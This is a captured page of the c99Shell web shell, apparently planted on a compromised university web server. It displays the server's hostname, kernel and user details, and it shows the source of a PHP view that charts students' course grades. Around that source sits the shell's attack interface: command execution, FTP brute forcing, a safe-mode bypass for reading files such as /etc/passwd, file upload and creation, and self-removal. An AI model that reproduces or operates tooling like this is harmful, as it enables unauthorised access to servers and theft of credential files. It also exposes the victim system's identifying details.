!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_grpShowGradeByCourse.php (3.44 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$categories 
'';
foreach(
$result->result() as $j){
 
$categories .= "'".$j->crsCode."',";
}
$typeGrade = array('A'=>'rdANum','B+'=>'rdBpNum','B'=>'rdBNum','C+'=>'rdCpNum'
,'C'=>'rdCNum','D+'=>'rdDpNum','D'=>'rdDNum','F'=>'rdFNum','W'=>'rdWNum');
?>
<script type="text/javascript" src="<?php echo base_url();?>libraries/Highcharts/js/highcharts.js"></script>
<script type="text/javascript" src="<?php echo base_url();?>libraries/Highcharts/js/modules/exporting.src.js"></script>            
<table border="0" width="740" align="center">
    <?php echo form_open($this->config->item("rg_folder").'regist2pieis/showGradeByCourse'); ?>
    <tr><th>ปีการศึกษา/ภาคการศึกษา <?php echo form_dropdown('year'$opt_acY,$year); ?>
    <?php echo form_dropdown('term'$opt_tm,$term); ?>
    ชั้นปี <?php echo form_dropdown('sy'$opt_sy,$sy); ?>
    <input type="submit" name="search" id="search" value="ค้นหา" style="height:25px; width:35px">
    </th></tr>
    <tr><td><div id="container2"></div></td></tr>
    <tr><td>
    <table class="headCol">
        <tr>
            <th colspan="2" rowspan="2">วิชา</th>
            <th colspan="<?php echo count($typeGrade);?>">จำนวนนักศึกษา (คน)</th>
        </tr>
        <tr>
<?php     foreach($typeGrade as $k => $v){    
            echo 
"<th>$k</th>";
        }
        
//echo "<th>รวม</th>";
?>
        </tr>
        <?php
            $i
=0;
            foreach(
$result->result() as $v){
                
$i++;
                echo 
"<tr>";
                echo 
"<td align='center'>$i</td>";
                echo 
"<td> ".$v->crsCode.' '.$v->crsName."</td>";
                
$sum 0;
                foreach(
$typeGrade as $type => $field){                
                    echo 
"<td align='center'>".$v->$field."</td>";
                    
$sum += $v->$field;
                }
                
//echo "<td align='center'>".$sum."</td>";
                
echo "</tr>";
            }
        
?>
</table></td></tr>
<script type="text/javascript">
    function test() {
            chart = new Highcharts.Chart({
            chart: {
                renderTo: 'container2',
                type: 'column'
            },
            data: {
                table: document.getElementById('datatable')
            },            
            title: {
                text: 'รายงานสรุปผลการศึกษารายวิชาเป็นภาคการศึกษาหรือชั้นปี'
            },
            subtitle: {
                text: 'ปีการศึกษา  <?php echo $year.'  '.$opt_tm[$term];?> ชั้นปีที่ <?php echo $sy;?>'
            },
            xAxis: {
                categories: [<?php echo $categories;?>],
            },
            yAxis: {
                min: 0,
                title: {
                    text: 'จำนวน(คน)'
                }
            },
            tooltip: {
                headerFormat: '<span style="font-size:10px">{point.key}</span><table>',
            },
            plotOptions: {
                column: {
                    pointPadding: 0.2,
                    borderWidth: 0
                }
            },
            series: [
            <?php
            
foreach($typeGrade as $type => $field){
                echo 
"{name: '$type',";
                echo 
"data: [";
                foreach(
$result->result() as $v){
                    echo 
$v->$field.",";
                }
                echo 
"]},";
            }
            
?>
            ] 
        });
    }
    

</script>        
        
        <script type="text/javascript">
$(function () {
    var chart;
      test();
      //columnDrilldown(); // ฟังชันผมสร้างไว้ใน js ใน myCreate ค๊าบบบบ
});
        </script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0086 ]--